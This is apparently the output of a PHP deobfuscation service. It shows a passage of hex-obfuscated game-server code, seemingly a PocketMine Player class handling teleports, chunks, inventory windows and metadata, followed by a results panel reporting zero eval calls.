sendPosition(Vector3$pos,$yaw=null,$pitch=null,$mode=0,array$targets=null){${"\x47L\x4f\x42\x41\x4c\x53"}["j\x6b\x72\x76k\x74\x6a\x79"]="\x79a\x77";${"G\x4c\x4fBA\x4c\x53"}["\x76\x77\x64b\x6c\x77"]="p\x6b";$izkmtabx="\x70\x69t\x63\x68";$lrtaahtw="\x74ar\x67\x65\x74\x73";${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6a\x6br\x76kt\x6a\x79"]}=${${"\x47L\x4f\x42\x41\x4c\x53"}["\x66pj\x72\x67lov\x71m"]}===null?$this->yaw:${${"\x47\x4cO\x42\x41\x4c\x53"}["\x66\x70\x6a\x72g\x6c\x6fv\x71\x6d"]};${${"\x47\x4c\x4fB\x41\x4c\x53"}["w\x76t\x6a\x64k\x79\x6di\x74"]}=${$izkmtabx}===null?$this->pitch:${${"GLOBA\x4cS"}["\x77\x76\x74\x6a\x64k\x79\x6d\x69t"]};${${"\x47\x4c\x4f\x42\x41L\x53"}["\x76\x77d\x62\x6c\x77"]}=new MovePlayerPacket();${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6d\x6a\x6b\x71\x6c\x73"]="\x70i\x74c\x68";$pk->eid=$this->getId();$pk->x=$pos->x;$pk->y=$pos->y+$this->getEyeHeight();$pk->z=$pos->z;$nvtgdpf="\x79\x61w";$pk->bodyYaw=${$nvtgdpf};$pk->pitch=${${"\x47\x4cOBA\x4c\x53"}["\x6dj\x6bqls"]};$pk->yaw=${${"\x47L\x4fBAL\x53"}["\x66pj\x72g\x6c\x6f\x76qm"]};$pk->mode=${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x64\x67\x76\x67\x76\x68"]};if(${$lrtaahtw}!==null){${"\x47\x4c\x4f\x42A\x4c\x53"}["\x65\x63\x78\x6bx\x70\x68dn\x75"]="\x74a\x72ge\x74\x73";$dqkmcs="\x70\x6b";Server::broadcastPacket(${${"GL\x4f\x42\x41\x4c\x53"}["\x65\x63\x78\x6b\x78ph\x64n\x75"]},${$dqkmcs});}else{$pk->eid=0;$hywglzdhd="\x70\x6b";$this->dataPacket(${$hywglzdhd});}}protected function checkChunks(){if($this->chunk===null or($this->chunk->getX()!==($this->x>>4)or$this->chunk->getZ()!==($this->z>>4))){if($this->chunk!==null){$this->chunk->removeEntity($this);}$this->chunk=$this->level->getChunk($this->x>>4,$this->z>>4,true);if(!$this->justCreated){$bizebolr="n\x65\x77C\x68\x75\x6ek";${$bizebolr}=$this->level->getChunkPlayers($this->x>>4,$this->z>>4);${"G\x4cOB\x41LS"}["\x74\x6c\x71\x6fnys"]="\x6e\x65\x77Chu\x6e\x6b";$rrnmxorc="\x6e\x65wCh\x75nk";unset(${${"G\x4c\x4fB\x41L\x53"}["t\x6c\x71\x6f\x6eys"]}[$this->getLoaderId()]);${${"\x47\x4c\x4fBA\x4cS"}["\x6arv\x70\x73ab\x69\x71"]}=[];foreach($this->hasSpawned as${${"G\x4c\x4fBAL\x53"}["q\x6e\x68\x6d\x72\x68\x71n\x67\x67\x72"]}){if(!isset(${${"G\x4cOB\x41\x4c\x53"}["k\x6e\x71\x6fnk\x72\x61\x72p\x67w"]}[$player->getLoaderId()])){$this->despawnFrom(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x71n\x68m\x72\x68\x71\x6e\x67g\x72"]});}else{$ilxvklpr="n\x65\x77\x43\x68\x75n\x6b";unset(${$ilxvklpr}[$player->getLoaderId()]);${"G\x4c\x4f\x42A\x4c\x53"}["\x73o\x76\x62yu\x79s"]="\x72el\x6f\x61\x64";${${"\x47L\x4fBA\x4cS"}["\x73o\x76\x62\x79u\x79s"]}[]=${${"\x47\x4c\x4f\x42\x41L\x53"}["\x71\x6e\x68\x6d\x72hq\x6e\x67\x67\x72"]};}}foreach(${$rrnmxorc} as${${"\x47L\x4f\x42A\x4cS"}["q\x6eh\x6dr\x68q\x6e\x67\x67\x72"]}){${"\x47LO\x42\x41\x4cS"}["flo\x6dj\x73\x67m\x64\x62"]="\x70\x6c\x61\x79\x65\x72";$this->spawnTo(${${"\x47\x4cO\x42\x41L\x53"}["\x66\x6co\x6dj\x73\x67md\x62"]});}}if($this->chunk===null){return;}$this->chunk->addEntity($this);}}protected function checkTeleportPosition(){if($this->teleportPosition!==null){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["bx\x62p\x61\x65\x66hz\x70\x6e"]="\x63\x68u\x6e\x6b\x5a";${"G\x4cO\x42\x41\x4c\x53"}["p\x67\x73\x72u\x71\x76o\x73"]="c\x68\x75n\x6b\x58";${"G\x4cO\x42\x41LS"}["\x63\x73\x68\x66moon"]="\x58";${${"\x47\x4c\x4f\x42\x41\x4cS"}["p\x67\x73r\x75\x71\x76\x6f\x73"]}=$this->teleportPosition->x>>4;${${"GL\x4fB\x41\x4cS"}["bx\x62\x70\x61\x65f\x68z\x70\x6e"]}=$this->teleportPosition->z>>4;for(${${"GL\x4f\x42\x41\x4c\x53"}["\x72bm\x66jw\x66\x6ecm\x78\x70"]}=-1;${${"\x47\x4c\x4fBA\x4c\x53"}["\x72\x62\x6d\x66\x6a\x77\x66n\x63\x6d\x78\x70"]}<=1;++${${"\x47\x4cOB\x41\x4c\x53"}["c\x73\x68\x66m\x6f\x6f\x6e"]}){for(${${"G\x4c\x4fB\x41\x4c\x53"}["tx\x64\x70m\x75\x6co\x79\x6a"]}=-1;${${"\x47LO\x42\x41\x4cS"}["\x74\x78d\x70\x6d\x75\x6c\x6f\x79\x6a"]}<=1;++${${"GL\x4f\x42AL\x53"}["\x74x\x64\x70muloy\x6a"]}){$ztbxpb="\x63\x68u\x6e\x6b\x58";$ejntyqh="i\x6ed\x65x";${"\x47\x4c\x4f\x42\x41L\x53"}["x\x78\x74\x75\x75xj\x69\x79"]="c\x68\x75\x6e\x6b\x5a";$gwyqnxicfbu="i\x6e\x64e\x78";${"\x47\x4cOB\x41\x4c\x53"}["u\x72\x6c\x74\x68z\x63i\x6b\x68\x6e"]="\x5a";if(!isset($this->usedChunks[${$ejntyqh}=Level::chunkHash(${$ztbxpb}+${${"\x47\x4c\x4f\x42\x41L\x53"}["r\x62\x6d\x66\x6aw\x66ncm\x78\x70"]},${${"\x47\x4cO\x42A\x4cS"}["x\x78\x74\x75\x75x\x6aiy"]}+${${"\x47LO\x42A\x4cS"}["\x75\x72\x6ct\x68\x7a\x63\x69\x6b\x68\x6e"]})])or$this->usedChunks[${$gwyqnxicfbu}]===false){return false;}}}$this->sendPosition($this,null,null,1);$this->spawnToAll();$this->forceMovement=$this->teleportPosition;$this->teleportPosition=null;return true;}return true;}public function teleport(Vector3$pos,$yaw=null,$pitch=null){$emcsvddfymva="\x70\x69\x74c\x68";$sfuxmyetdqt="\x6f\x6c\x64P\x6f\x73";if(!$this->isOnline()){return false;}${"GLO\x42\x41\x4c\x53"}["\x6a\x67\x75mygb\x71\x77\x6b\x6c"]="po\x73";$yeosrw="ya\x77";${$sfuxmyetdqt}=$this->getPosition();if(parent::teleport(${${"\x47LO\x42\x41\x4c\x53"}["jgu\x6dygb\x71w\x6b\x6c"]},${$yeosrw},${$emcsvddfymva})){foreach($this->windowIndex as${${"\x47L\x4f\x42\x41LS"}["\x74\x6fs\x6c\x6ad\x6a\x68"]}){$zttwahok="\x77i\x6e\x64\x6f\x77";if(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x74\x6f\x73l\x6a\x64j\x68"]}===$this->inventory){continue;}$this->removeWindow(${$zttwahok});}$this->teleportPosition=new Vector3($this->x,$this->y,$this->z);if(!$this->checkTeleportPosition()){${"\x47\x4c\x4f\x42\x41L\x53"}["\x6cl\x6b\x6d\x79\x66\x73d\x6f"]="\x6f\x6c\x64\x50\x6fs";$this->forceMovement=${${"G\x4cO\x42\x41\x4c\x53"}["l\x6c\x6b\x6d\x79\x66\x73do"]};}else{$this->spawnToAll();}$this->resetFallDistance();$this->nextChunkOrderRun=0;$this->newPosition=null;$this->stopSleep();return true;}return false;}public function teleportImmediate(Vector3$pos,$yaw=null,$pitch=null){$pdadfnjwfq="\x70\x69\x74\x63\x68";if(parent::teleport(${${"GL\x4f\x42ALS"}["w\x78\x6fe\x68\x6dq\x62\x74\x67"]},${${"\x47\x4c\x4fBA\x4cS"}["\x66p\x6a\x72\x67\x6c\x6f\x76\x71\x6d"]},${$pdadfnjwfq})){foreach($this->windowIndex as${${"\x47L\x4f\x42A\x4c\x53"}["\x74\x6fslj\x64\x6ah"]}){$czwakffs="\x77\x69n\x64\x6fw";if(${$czwakffs}===$this->inventory){continue;}$this->removeWindow(${${"\x47\x4c\x4fB\x41L\x53"}["t\x6f\x73\x6cjdj\x68"]});}$this->forceMovement=new Vector3($this->x,$this->y,$this->z);$this->sendPosition($this,$this->yaw,$this->pitch,1);$this->resetFallDistance();$this->orderChunks();$this->nextChunkOrderRun=0;$this->newPosition=null;}}public function getWindowId(Inventory$inventory):int{if($this->windows->contains(${${"\x47\x4cOB\x41\x4cS"}["\x73d\x76\x64\x62\x75\x6bwmn"]})){${"G\x4cOB\x41L\x53"}["\x64w\x77\x73\x6a\x6f\x72\x6d\x6ci\x6e"]="in\x76e\x6eto\x72y";return$this->windows[${${"\x47\x4cO\x42AL\x53"}["\x64ww\x73\x6a\x6frml\x69\x6e"]}];}return-1;}public function addWindow(Inventory$inventory,$forceId=null):int{$yigylmltsfu="\x69\x6e\x76e\x6e\x74\x6fry";if($this->windows->contains(${$yigylmltsfu})){$vmzimvbm="\x69nv\x65\x6et\x6f\x72\x79";return$this->windows[${$vmzimvbm}];}$gzvnwoxnmok="i\x6ev\x65\x6e\x74o\x72\x79";${"G\x4c\x4f\x42A\x4c\x53"}["\x77\x67\x73\x65\x6ej"]="\x69n\x76\x65\x6e\x74\x6fry";if(${${"GL\x4f\x42\x41L\x53"}["\x71sjj\x68\x75"]}===null){$this->windowCnt=${${"\x47\x4cOBA\x4c\x53"}["\x71\x73\x64\x66\x66\x66o"]}=max(2,++$this->windowCnt%99);}else{${"\x47\x4cO\x42AL\x53"}["\x6a\x6b\x71\x65\x74h\x70\x6al\x69dd"]="\x63nt";${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6ak\x71\x65\x74\x68p\x6al\x69\x64\x64"]}=(int)${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x71s\x6a\x6ah\x75"]};}${"\x47\x4c\x4f\x42A\x4c\x53"}["\x77\x64b\x78\x73\x78\x73\x6f\x65e\x6a"]="\x63\x6e\x74";$this->windowIndex[${${"G\x4c\x4f\x42AL\x53"}["w\x64\x62x\x73\x78s\x6fe\x65j"]}]=${$gzvnwoxnmok};$bfybctemt="c\x6e\x74";$this->windows->attach(${${"G\x4c\x4fB\x41\x4cS"}["w\x67senj"]},${$bfybctemt});if($inventory->open($this)){$vvsxicdznox="c\x6et";return${$vvsxicdznox};}else{$this->removeWindow(${${"\x47\x4c\x4f\x42A\x4cS"}["\x73\x64\x76\x64b\x75\x6b\x77\x6dn"]});return-1;}}public function removeWindow(Inventory$inventory){$inventory->close($this);if($this->windows->contains(${${"GL\x4f\x42\x41L\x53"}["\x73\x64\x76d\x62\x75k\x77\x6d\x6e"]})){$lyyjqvunzvv="\x69d";$ulwwuz="i\x64";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x75q\x79\x67\x6b\x66\x64w"]="\x69n\x76en\x74\x6f\x72y";${"\x47L\x4f\x42A\x4c\x53"}["\x74\x6ev\x69\x6en\x63\x67u\x61\x70"]="\x69\x64";${$lyyjqvunzvv}=$this->windows[${${"\x47\x4cO\x42\x41L\x53"}["\x75\x71\x79\x67k\x66\x64w"]}];$this->windows->detach($this->windowIndex[${${"\x47L\x4f\x42\x41LS"}["\x74\x6e\x76\x69n\x6e\x63\x67\x75\x61\x70"]}]);unset($this->windowIndex[${$ulwwuz}]);}}public function setMetadata($metadataKey,MetadataValue$metadataValue){${"\x47\x4cO\x42\x41\x4c\x53"}["\x78wz\x78yf\x63\x66\x7atv\x6a"]="me\x74adat\x61\x56a\x6cu\x65";$this->server->getPlayerMetadata()->setMetadata($this,${${"\x47\x4cO\x42\x41LS"}["d\x74\x6fedn"]},${${"G\x4c\x4fBA\x4cS"}["x\x77z\x78\x79fc\x66\x7at\x76\x6a"]});}public function getMetadata($metadataKey){return$this->server->getPlayerMetadata()->getMetadata($this,${${"\x47LOB\x41L\x53"}["d\x74o\x65\x64\x6e"]});}public function hasMetadata($metadataKey){return$this->server->getPlayerMetadata()->hasMetadata($this,${${"GLO\x42\x41\x4c\x53"}["\x64t\x6f\x65\x64\x6e"]});}public function removeMetadata($metadataKey,Plugin$plugin){${"GLO\x42A\x4cS"}["\x69\x75f\x71\x65\x64\x66"]="p\x6cu\x67\x69\x6e";$this->server->getPlayerMetadata()->removeMetadata($this,${${"\x47\x4cOB\x41LS"}["\x64\x74\x6fed\x6e"]},${${"G\x4c\x4f\x42\x41LS"}["\x69u\x66q\x65df"]});}public function onChunkChanged(FullChunk$chunk){$this->loadQueue[Level::chunkHash($chunk->getX(),$chunk->getZ())]=abs(($this->x>>4)-$chunk->getX())+abs(($this->z>>4)-$chunk->getZ());}public function onChunkLoaded(FullChunk$chunk){}public function onChunkPopulated(FullChunk$chunk){}public function onChunkUnloaded(FullChunk$chunk){}public function onBlockChanged(Vector3$block){}public function getLoaderId(){return$this->loaderId;}public function isLoaderActive(){return$this->isConnected();}public static function getChunkCacheFromData($chunkX,$chunkZ,$payload,$ordering=FullChunkDataPacket::ORDER_COLUMNS){$qnrfybgrgf="\x70\x6b";$fmpopdkmpy="\x63h\x75nk\x58";${"G\x4c\x4f\x42A\x4cS"}["\x64q\x74w\x6bv\x71\x6a\x79\x6e"]="p\x61\x79\x6co\x61d";${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6f\x7az\x79\x77s\x72\x73\x73\x71"]}=new FullChunkDataPacket();$pk->chunkX=${$fmpopdkmpy};$pk->chunkZ=${${"\x47\x4cO\x42\x41\x4c\x53"}["\x64\x77\x6aj\x74d"]};${"GLO\x42\x41LS"}["\x77\x62\x78\x6b\x6f\x6adr"]="or\x64\x65\x72\x69\x6e\x67";$pk->order=${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x77b\x78k\x6f\x6a\x64r"]};$pk->data=${${"\x47L\x4f\x42\x41\x4c\x53"}["\x64\x71\x74\x77k\x76qj\x79\x6e"]};$pk->encode();return${$qnrfybgrgf};}}
?>

Function Calls

None

Variables

None

Stats

MD5 0abee4dc35205e33dae189dacbeafdb5
Eval Count 0
Decode Time 191 ms